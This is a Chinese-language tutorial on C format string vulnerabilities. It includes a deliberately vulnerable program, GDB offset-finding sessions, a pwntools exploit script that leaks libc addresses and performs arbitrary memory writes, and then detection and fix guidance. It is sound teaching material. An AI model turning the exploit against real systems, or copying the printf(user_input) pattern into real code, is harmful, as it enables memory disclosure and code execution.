1. 项目概述从一次“诡异”的日志打印说起几年前我在审计一个C语言写的网络服务时遇到一个让我后背发凉的问题。这个服务运行稳定功能正常但偶尔会在日志里打印出一些完全不属于程序逻辑的、乱码一样的字符串甚至夹杂着内存地址。当时团队里有人觉得是日志库的bug有人认为是磁盘损坏。我花了半天时间最终定位到一行看起来人畜无害的日志代码printf(user_input);。用户输入的数据被直接当作了格式化字符串传给了printf。这就是典型的格式化字符串漏洞。这个漏洞没有导致服务崩溃却像一个“幽灵”悄无声息地窥探和修改着程序内存深处的秘密。格式化字符串漏洞在软件安全领域是一个经典且危险的存在。它不像缓冲区溢出那样“声势浩大”直接导致程序崩溃而是更像一个技艺高超的“窃贼”或“间谍”。利用这个漏洞攻击者可以做到三件极其危险的事读取任意内存地址的内容信息泄露、向任意内存地址写入数据任意写在特定条件下甚至能劫持程序执行流程运行任意代码。其核心原理源于C语言中像printf、sprintf、fprintf这类格式化输出函数的设计机制它们会解析第一个参数格式化字符串中的格式说明符如%s,%d,%x并按照说明符的类型和顺序从后续的参数栈中取出对应数据进行输出或处理。当程序员错误地将用户可控的输入直接作为格式化字符串参数时灾难就埋下了伏笔。攻击者可以精心构造一个包含特殊格式说明符如%p,%x,%n的输入欺骗printf函数去访问或修改它本不该触碰的内存区域。这个项目我们就来彻底拆解这个漏洞。无论你是刚入门二进制安全的新手还是想巩固底层知识的安全从业者通过这篇手把手的分析你将不仅能理解漏洞原理更能掌握从静态审计、动态调试到漏洞利用的完整实战链条。我们会从一个真实的漏洞程序样本出发一步步揭开它的面纱。2. 漏洞原理深度拆解格式化字符串函数如何“失控”要利用一个漏洞首先得吃透它的原理。格式化字符串漏洞的根源在于C语言可变参数函数的调用约定与格式化字符串的解析机制之间存在一个“信任缺口”。2.1 格式化函数的工作原理与栈布局我们以最常用的printf(const char *format, ...)为例。这是一个可变参数函数其参数在调用时被压入调用栈。在x86架构上参数从右向左压栈。假设我们调用printf(“Number: %d, String: %s”, 100, buf);栈布局大致如下高地址 ... 返回地址 旧ebp buf的地址 -- 参数3 (对应%s) 100 -- 参数2 (对应%d) format字符串地址 -- 参数1 (格式化字符串) 低地址函数内部printf会从format指针开始逐个字符解析字符串。当遇到普通字符时直接输出当遇到%时将其后的字符识别为格式说明符。例如解析到%d时它会认为“当前栈帧上方第一个可变参数的位置上存放着一个int型数据”于是它就去对应的栈位置读取4字节32位系统并作为整数打印。然后它会移动“指针”准备为下一个格式说明符读取数据。关键在于printf函数本身并不知道也从不验证它应该有多少个参数。它完全信任格式化字符串format。如果format里声明了5个%d它就会忠实地从栈上连续读取5个int大小的数据并打印不管调用者实际上只传了2个参数。2.2 漏洞的触发当用户输入成为“格式”现在考虑漏洞场景printf(user_input);。这里只有一个参数user_input被压栈。printf开始解析user_input的内容。如果攻击者输入“%x.%x.%x”会发生什么printf会认为“哦我的调用者给了我3个int参数只是忘了把它们显式写出来。不过没关系我按照约定去栈上取就是了。”于是它会从栈上user_input地址之后的位置开始连续读取3个4字节数据在32位系统下并以十六进制形式打印出来。这些被打印出来的数据根本不是程序预期的数据而是栈上残留的返回地址、局部变量、寄存器值等敏感信息这就是信息泄露。更危险的是格式说明符%n。它的功能非同寻常%n不输出内容而是将截至目前已成功输出的字符总数写入一个int指针所指向的内存地址。例如printf(“Hello%n”, count);执行后count的值会被设置为5“Hello”的长度。在漏洞利用中攻击者可以通过构造特定的user_input结合%n将任意数值写入栈上的某个地址比如一个函数指针或返回地址从而实现内存篡改。2.3 核心利用原语读、写、算基于上述原理格式化字符串漏洞为我们提供了三个强大的“原语”任意内存读使用%s、%p、%x等。通过精确控制格式字符串我们可以让printf将栈上的某个值解释为一个指针然后用%s去读该指针指向的字符串比如读取.got.plt表获取libc地址或者用%x直接泄露栈数据。任意内存写使用%n、%hn写入short、%hhn写入char。这是实现攻击的关键。我们需要解决两个问题写哪里目标地址和写什么写入的值。写哪里目标地址通常需要被放置在栈上。攻击者可以通过输入字符串本身将目标地址如exitgot的地址作为字符串的一部分写入栈中然后通过精确定位让%n找到这个地址并写入。写什么写入的值由已输出的字符数决定。攻击者可以通过在%n前插入大量字符如%100c表示输出100个空格来控制这个计数从而写入任意值。对于大数值如libc函数地址通常采用多次%hn分段写入每次写2字节的方式。计算与偏移为了精确定位目标地址在栈上的位置我们需要计算“偏移”。这通常通过输入一串独特的模式如“AAAA.%p.%p.%p…”并观察输出当输出中出现0x41414141‘AAAA’的十六进制时数一数这是第几个%p输出的这个序号就是我们的输入字符串中地址部分相对于格式化函数参数栈顶的偏移。理解这些原理后我们就可以进入实战亲手分析一个漏洞程序。3. 靶场程序分析与环境搭建为了进行无损、可重复的分析与实验我们首先在隔离环境中搭建靶场。我推荐使用Ubuntu 20.04/22.04 LTS的虚拟机或容器并关闭系统的地址空间布局随机化这有助于我们更稳定地观察内存布局专注于漏洞原理本身。3.1 环境准备与安全配置首先我们关闭ASLR并确保编译器的保护机制被部分禁用以便演示经典利用。在实际安全评估中这些保护都是需要克服的挑战。# 临时关闭ASLR仅对当前shell生效 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 安装必要的编译和调试工具 sudo apt update sudo apt install -y gcc gdb python3 python3-pip pip3 install pwntools --user3.2 漏洞程序源码解析下面是一个经典的、包含格式化字符串漏洞的C程序vuln.c。它模拟了一个简单的网络服务或命令行工具读取用户输入并“友好地”回显。#include stdio.h #include string.h #include unistd.h void vuln_func() { char buf[128]; printf(Enter your name: ); fflush(stdout); read(STDIN_FILENO, buf, sizeof(buf) - 1); buf[strcspn(buf, \n)] 0; // 去掉换行符 // 漏洞点用户输入直接被用作格式化字符串 printf(buf); // -- 格式化字符串漏洞 printf(\nWelcome to the system.\n); } int main() { setbuf(stdout, NULL); // 禁用输出缓冲方便调试 vuln_func(); return 0; }代码审计要点vuln_func函数声明了一个128字节的栈缓冲区buf。使用read从标准输入读取最多127字节留一个给末尾的\0这避免了缓冲区溢出。关键漏洞在第12行printf(buf);。程序直接将用户输入buf作为printf的第一个参数格式化字符串传递。如果用户输入包含%格式符printf就会按照我们前面讲的机制去解析。3.3 编译与基础测试我们使用特定参数编译暂时关闭一些现代保护机制让漏洞更直观。gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c-m32: 编译为32位程序。32位环境下栈操作更简单直观是学习漏洞利用的经典环境。-fno-stack-protector: 禁用栈溢出保护Canary。-z execstack: 使栈内存可执行便于演示shellcode注入现代系统默认不可执行。-no-pie: 禁用位置无关可执行文件让代码和数据的地址固定。-g: 加入调试信息方便用GDB分析。编译后我们先进行一个简单的测试确认漏洞存在$ ./vuln Enter your name: test test Welcome to the system. $ ./vuln Enter your name: %p.%p.%p 0xff8a1b20.0x1.0xf7e1c620 Welcome to the system.看当我们输入%p.%p.%p时程序没有打印出这些字符而是输出了三个十六进制数。这就是栈上的数据被泄露了。漏洞确认存在。4. 动态调试与信息泄露实战理论结合实践我们现在用GDB动态调试亲眼看看内存里发生了什么。4.1 GDB初步分析启动GDB在printf调用处下断点。gdb ./vuln (gdb) break vuln.c:12 # 在 printf(buf); 处下断点 (gdb) run Starting program: /home/user/vuln Enter your name: AAAA%p.%p.%p程序会在执行printf(buf)前暂停。我们检查一下buf的内容和栈的状态。(gdb) x/s $eax # printf的参数格式化字符串通常放在eax32位 0xffffd4a0: AAAA%p.%p.%p (gdb) x/20wx $esp # 查看栈顶附近20个字4字节 0xffffd480: 0xffffd4a0 0x00000001 0xf7e1c620 0x00000001 0xffffd490: 0xffffd574 0xffffd4a0 0x00000000 0xf7c23295 ...我们可以看到栈顶0xffffd480处存放的值正是buf的地址0xffffd4a0这是printf的第一个参数。接下来我们单步执行printf观察输出。(gdb) ni # 单步执行一条指令执行printf 0xf7e1c620.0x1.0xf7c23295输出与直接运行程序一致。现在我们来计算偏移。我们的输入“AAAA”的十六进制是0x41414141。我们需要找到这个值在栈上的位置。4.2 精确计算偏移量为了精确定位我们输入一个更易识别的模式串。(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/vuln Enter your name: AAAABBBBCCCCDDDD%p.%p.%p.%p.%p.%p.%p.%p在printf断点处我们查看栈内存(gdb) x/20wx $esp 0xffffd480: 0xffffd4a0 0x00000001 0xf7e1c620 0x00000001 0xffffd490: 0xffffd574 0xffffd4a0 0x00000000 0xf7c23295 0xffffd4a0: 0x41414141 0x42424242 0x43434343 0x44444444 -- 我们的输入 0xffffd4b0: 0x00000000 0x00000000 0x00000000 0x00000000 ...我们的输入AAAABBBBCCCCDDDD从地址0xffffd4a0开始存放。现在执行printf(gdb) ni 0xf7e1c620.0x1.0xf7c23295.0x41414141.0x42424242.0x43434343.0x44444444.0x0.0x0输出显示我们的AAAA0x41414141出现在第4个%p的输出位置。因此偏移量是4。这意味着在printf的内部视角中栈上第1个可变参数即format地址之后的位置对应我们输入字符串的第4个“数据单元”。这个偏移量至关重要它告诉我们在构造利用字符串时目标地址应该放在哪个位置才能被%n等格式符正确引用。实操心得偏移量可能因编译器、优化选项、函数调用上下文而略有不同。在实际利用中最好通过类似AAAABBBB%4$p直接访问第4个参数这样的%n$格式指定位置的格式符来验证和利用这比用一堆%p更精确可靠。%4$p的意思就是“直接打印栈上第4个参数”。5. 漏洞利用从信息泄露到控制流劫持掌握了信息泄露和偏移计算我们就可以策划一次完整的攻击。假设我们的目标是劫持程序控制流执行一段我们注入的代码shellcode。在现代操作系统有NX不可执行堆栈和ASLR保护的情况下这非常复杂。为了演示基本原理我们暂时在“古老”的环境下进行关闭NX-z execstack关闭ASLR并且假设我们知道栈地址。一个更现实且常见的利用目标是覆盖GOT表。GOT全局偏移表存储着动态链接函数的实际地址。如果我们能利用格式化字符串的任意写能力将GOT表中某个函数如printf或exit的地址覆盖为system函数的地址那么当程序下次调用该函数时实际上就会调用system。5.1 利用思路与步骤我们的攻击计划如下泄露libc基址利用格式化字符串漏洞泄露一个已知libc函数如printf或__libc_start_main在内存中的运行时地址。计算system地址根据泄露的地址和libc库中该函数的固定偏移计算出system函数和字符串“/bin/sh”的运行时地址。覆盖GOT表项选择GOT表中一个在漏洞触发后会被调用的函数例如exit利用格式化字符串的%n或%hn原语将其地址覆盖为system的地址。传递参数确保当exit被“调用”实为system时其参数在GOT覆盖场景下可能需要精心构造栈帧或利用其他gadget指向字符串“/bin/sh”。5.2 编写漏洞利用脚本PoC我们将使用pwntools这个强大的CTF框架来编写利用脚本。它简化了进程交互、地址计算和payload构造。#!/usr/bin/env python3 from pwn import * # 设置上下文32位架构 context(archi386, oslinux) # 启动漏洞程序进程 p process(./vuln) # 1. 泄露libc地址 (例如泄露 printf 的地址) # 首先我们需要获取 printf 在GOT表中的地址。 # 我们可以用 objdump -R vuln 来查看。假设 printfgot 0x804c00c printf_got 0x804c00c # 构造payload泄露 printf 的运行时地址 # 偏移量我们之前计算为4。我们将 printf_got 的地址放在格式化字符串的合适位置。 # 使用 %s 来读取该地址指向的字符串即printf函数的实际地址 # 注意地址需要以小端序字节序写入 payload1 p32(printf_got) # 将地址写入字符串开头这会在栈上占据一个参数位 payload1 b%4$s # %4$s 表示读取栈上第4个参数即我们刚写入的地址所指向的字符串 # 但这样会打印出地址本身和后面的内容。更干净的做法是 # payload1 p32(printf_got) b%4$s然后我们只接收后面的地址数据。 p.sendlineafter(bEnter your name: , payload1) # 接收输出直到 Welcome output p.recvuntil(bWelcome) # 提取泄露的地址。输出的前4字节是我们写入的地址本身紧接着就是printf的实际地址。 leak_data output[:44] # 前4字节是地址后4字节是泄露的值 printf_addr u32(leak_data[4:8]) log.success(fprintf address leaked: {hex(printf_addr)}) # 2. 计算 system 和 /bin/sh 地址 # 我们需要知道本地libc中 printf 和 system 的相对偏移。 # 可以使用 ldd vuln 查看使用的libc然后用 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E printf$| system$ # 假设我们通过查找得到 # printf_offset 0x000512d0 # system_offset 0x0003f420 # binsh_offset 0x17e0cf # 字符串 /bin/sh 的偏移 printf_offset 0x000512d0 system_offset 0x0003f420 binsh_offset 0x17e0cf libc_base printf_addr - printf_offset system_addr libc_base system_offset binsh_addr libc_base binsh_offset log.success(flibc base: {hex(libc_base)}) log.success(fsystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(binsh_addr)}) # 3. 覆盖GOT表 (例如覆盖 exitgot) # 获取 exitgot 地址假设为 0x804c010 exit_got 0x804c010 # 我们需要将 exit_got 处的值改为 system_addr。 # 使用 %n 写入。由于 system_addr 是一个大数如0xf7df1420 # 直接输出这么多字符不现实。我们采用 %hn 分两次写入每次写2字节。 # 将 system_addr 拆分为高16位和低16位。 system_low system_addr 0xffff system_high (system_addr 16) 0xffff # 注意如果高16位小于低16位需要先写高位再写低位并调整输出字符数。 # 这里假设 system_low system_high我们先写低16位到 exit_got再写高16位到 exit_got2。 # 构造写入 payload 非常复杂需要精确计算已输出的字符数。 # 一个更简单但略粗糙的演示方法是如果我们能控制一个指针指向 exit_got # 并且能多次触发漏洞可以分两次写。但我们的程序只触发一次。 # 因此我们转向一个更简单的演示目标覆盖返回地址或某个函数指针。 # 为了简化演示我们假设有一个全局函数指针 void (*fp)() 在地址 0x804c020。 # 我们将其覆盖为 system_addr并使其参数指向 /bin/sh。 # 这需要更复杂的栈布局控制通常需要结合其他漏洞如栈溢出或ROP。 # 鉴于格式化字符串任意写本身已证明完整的GOT覆盖利用脚本较为冗长 # 下面展示一个概念验证向一个可写地址如.bss段写入一个特定值。 write_target 0x804c040 # .bss段的一个地址 write_value 0xdeadbeef # 构造payload将目标地址放在栈上然后用 %n 写入。 # 我们需要写入 0xdeadbeef这个值很大。我们可以利用格式化字符串的宽度修饰符来快速增加输出计数。 # 例如%{value}c 会输出 value 个空格。 # 但一次输出 0xdeadbeef (3,735,928,559) 个字符不现实。 # 所以再次使用 %hn 分两次写。 low write_value 0xffff high (write_value 16) 0xffff # 构造payload。我们需要将 write_target 和 write_target2 两个地址都放到栈上合适位置。 # 假设偏移为4那么我们需要让这两个地址分别位于第4和第5个参数位置。 # 由于地址本身也占输出字符我们需要精细计算。 # 这是一个复杂的格式化字符串利用构造通常使用 pwntools 的 fmtstr 模块自动化。 from pwn import fmtstr_payload # 使用 fmtstr_payload 自动生成 payload # 它接受偏移量、一个字典 {写入地址: 写入值}以及写入大小‘byte’, ‘short’, ‘int’ payload2 fmtstr_payload(4, {write_target: write_value}, write_sizeint) p.sendlineafter(bEnter your name: , payload2) p.recvuntil(bWelcome) # 验证是否写入成功我们可以用另一个漏洞读取如果程序有循环或者用gdb附加查看。 # 这里我们直接打印信息并退出。 log.success(Payload sent. Check memory at 0x{:x} for value 0x{:x}.format(write_target, write_value)) p.interactive()脚本解析与注意事项地址获取脚本中的printf_got、exit_got等地址需要通过反汇编objdump -R vuln或调试提前获取。偏移计算libc中函数的偏移因版本和系统而异需要根据目标环境具体查找。fmtstr_payloadpwntools的fmtstr_payload函数极大地简化了复杂的格式化字符串利用构造。它会自动处理地址对齐、输出字符计数和%n/%hn的排列。利用限制我们的示例程序只调用一次printf因此是“单次射击”。现实中的漏洞可能存在于循环或条件分支中允许多次交互从而可以分步骤泄露和写入。现代缓解机制在实际的现代系统开启ASLR、NX、Full RELRO上这种利用会困难得多。可能需要结合其他漏洞或利用技巧如利用_IO_FILE结构体等。6. 漏洞挖掘、防护与修复实录理解了如何利用我们更应知道如何发现和防范它。6.1 静态代码审计与自动化工具挖掘格式化字符串漏洞主要依靠代码审计。重点关注所有使用格式化字符串的函数printf,fprintf,sprintf,snprintfsyslogsetproctitle,err*,warn*系列函数审计模式检查这些函数的第一个参数格式化字符串是否是变量且该变量是否完全或部分由用户输入控制。像sprintf(buf, input)或printf(user_input)是明显的高危模式。自动化工具静态分析工具grep -n -E “(printf|fprintf|sprintf|snprintf).*%”可以快速定位使用格式化函数的代码行但需要人工复核。高级静态分析器如Coverity、Fortify、CodeQL等可以构建数据流图追踪用户输入是否未经校验就流入格式化字符串参数。编译器警告GCC/Clang的-Wformat-security选项可以检测一部分不安全的格式化字符串用法。务必在编译时开启并视警告为错误-Werrorformat-security。6.2 动态模糊测试与防护机制模糊测试针对存在用户输入的接口使用包含大量%、%n、%s等特殊字符的payload进行测试观察程序是否崩溃、是否有异常内存访问或意外输出。运行时防护地址空间布局随机化ASLR使得libc基址、栈地址、堆地址随机化增加攻击者预测地址的难度。不可执行内存NXDEP使得栈和堆不可执行阻止直接执行注入的shellcode。Full RELRO链接时设置-Wl,-z,relro,-z,now使得GOT表在程序启动后变为只读防止被覆盖。格式化字符串保护一些安全增强的libc实现如GLIBC的_FORTIFY_SOURCE或编译器特性会对格式化字符串函数进行加强检查。6.3 根本修复方案修复格式化字符串漏洞的原则是永远不要让用户控制的字符串直接作为格式化字符串。使用固定字符串最根本的方法。确保格式化字符串是代码中的字符串字面量。// 错误 printf(user_input); // 正确 printf(%s, user_input); // 用户输入作为参数而不是格式使用安全的替代函数对于简单的输出使用fputs(user_input, stdout)。对于构造字符串优先使用snprintf并指定明确的格式。char buf[128]; // 错误 sprintf(buf, user_input); // 正确 snprintf(buf, sizeof(buf), %s, user_input);输入验证与过滤如果业务逻辑确实需要动态格式极其罕见必须对用户输入进行严格的白名单过滤只允许安全的字符集。6.4 常见问题排查与调试技巧Q我的利用脚本泄露的地址总是错的或者程序崩溃。A首先确认偏移量是否正确。使用类似AAAA%n$pn从1开始尝试的方式精确定位。其次检查地址是否包含空字节\x00空字节会截断字符串输入。在构造payload时有时需要将地址放在格式化字符串的末尾或者利用格式修饰符调整参数顺序。Q开启了ASLR如何利用A需要先通过漏洞泄露一个已知的地址如libc中的某个函数、栈地址、程序本身的地址计算出基址再推导出目标地址。这要求至少有一次信息泄露的机会。Q%n 写入时输出的字符数太多导致程序卡住或崩溃怎么办A使用%hn2字节或%hhn1字节分段写入。利用格式化字符串的宽度修饰符如%100c可以快速增加计数但写入大数值时需要精心计算各段的值和写入顺序通常先写入较小的值再写入较大的值。Q在调试时如何观察格式化字符串函数内部的栈操作A在GDB中可以在printf函数入口处如printfplt下断点使用x/20wx $esp查看栈帧。单步步入si进入glibc源码内部需安装debug符号可以更清晰地看到_vfprintf_internal等内部函数的处理过程。格式化字符串漏洞是一个需要细心和耐心的领域。它考验着你对底层内存布局、函数调用约定和C语言库函数的深刻理解。通过亲手分析、调试和尝试利用你收获的将不仅仅是一个漏洞的知识而是对整个程序内存模型和软件安全攻防思维的提升。在实战中永远保持对用户输入的警惕遵循安全编码规范才是杜绝此类漏洞的根本。